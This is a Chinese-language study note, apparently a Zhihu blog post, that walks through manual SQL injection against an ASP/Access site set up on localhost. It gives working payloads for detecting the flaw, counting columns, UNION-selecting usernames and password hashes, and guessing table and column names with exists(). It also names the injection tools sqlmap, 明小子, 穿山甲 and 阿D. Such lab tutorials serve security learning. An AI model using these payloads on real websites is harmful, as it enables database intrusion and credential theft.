開局絮叨:幾經波折,開始靜下心來學習。並且申請了知乎專欄,做一些日常學習整理的筆記和一些技巧。留給未來的我,和懂的欣賞的人閱讀。做筆記的確是個好習慣,因為在全世界上萬人中也就有其中那么些少數人能擁有過目不忘的本領。加油!路還長。
0x1 SQL注入篇-access注入
當初接觸這個坑的時候就是從注入 and 1=1 明小子 開始的。今天深入的了解下。
所謂的SQL注入就是利用SQL命令插入到WEB表單,達到欺騙服務器執行命令的一個過程。
0x2 常見的數據庫都有哪些? Oracle MSSQL server Sybase DB2 Mysql Access
0x3 存在SQL注入又能怎么樣? 如果網站存在SQL注入漏洞,那么網站數據庫中的數據可以任由攻擊者查看和修改。查看管理員表獲取賬號密碼最終獲得管理員權限。
0x4 Sql注入產生條件
1.必須有參數傳遞
2.參數值帶入數據庫查詢並執行 http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 select * from product where id=1513 and 1=1 真且真=真 返回正常
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=11 select * from product where id=1513 and 1=11 真且假=假 返回錯誤
數學邏輯運算符:或 且 非(or and xor) 真且真=真 假且真=假 真或真=真 真或假=真 access數據庫的結構
0x5 存在SQL注入然后該怎么辦?
1、判斷注入
2、猜解表名
3、猜解列名
4、猜解數據
可以使用SQL利用工具:sqlmap 明小子 穿山甲 阿D
我這里使用手工
access SQL注入復現 為了更清楚的了解,我本地搭建了個asp腳本的網站 主要是方便and防止被查水表
域名:http://127.0.0.1:99/bachang//index.asp
網站網站中ID=xx 這類帶有參數賦值的URL
比如:http://127.0.0.1:99/bachang/yeNewsInfo.asp?id=79
域名:http://127.0.0.1:99
文件目錄:bachang
文件名:yeNewsInfo.asp
參數id
值79
我們在http://127.0.0.1:99/bachang/yeNewsInfo.asp?id=79 在后面加一個單引號
Microsoft JET Database Engine 錯誤 '80040e14'
字符串的語法錯誤 在查詢表達式 'ID=49'' 中。
/showdetail.asp,行8
從這個錯誤提示我們能看出下面幾點:
1.網站使用的是Access數據庫,通過JET引擎連接數據庫,而不是通過ODBC。
2.程序沒有判斷客戶端提交的數據是否符合程序要求。
3.該SQL語句所查詢的表中有一名為ID的字段。
從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取你想到得到的資料。
聯合查詢
第一步 判斷注入:
and 1=1
頁面返回正確
and 1=2
頁面返回錯誤,說明存在注入
查找字段
order by 6=錯誤
order by 5=正確
那么就說明存在5個字段
存在5個字段
UNION SELECT 1,2,3,4,5 from user
確定存在user表
在2這里輸入 password
UNION SELECT 1,password,3,4,5 from user
成功爆出密碼MD5加密值
爆賬號 username
UNION SELECT 1,username,3,4,5 from user
逐字猜解
1.查表名: and exists(select * from 表名)
http://127.0.0.1:99/bachang/xN-1-1/NewsInfo.asp?id=51 and exists(select * from admin)
返回錯誤
http://127.0.0.1:99/bachang/xN-1-1/NewsInfo.asp?id=51 and exists(select * from user)
返回正確
說明存在user表
2.查列名: and exists(select 列名 from user)
http://127.0.0.1:99/bachang/xN-1-1/NewsInfo.asp?id=51 and exists(select user from user)
返回錯誤
http://127.0.0.1:99/bachang/xN-1-1/NewsInfo.asp?id=51 and exists(select username from user)
返回正確
說明存在usernamen表。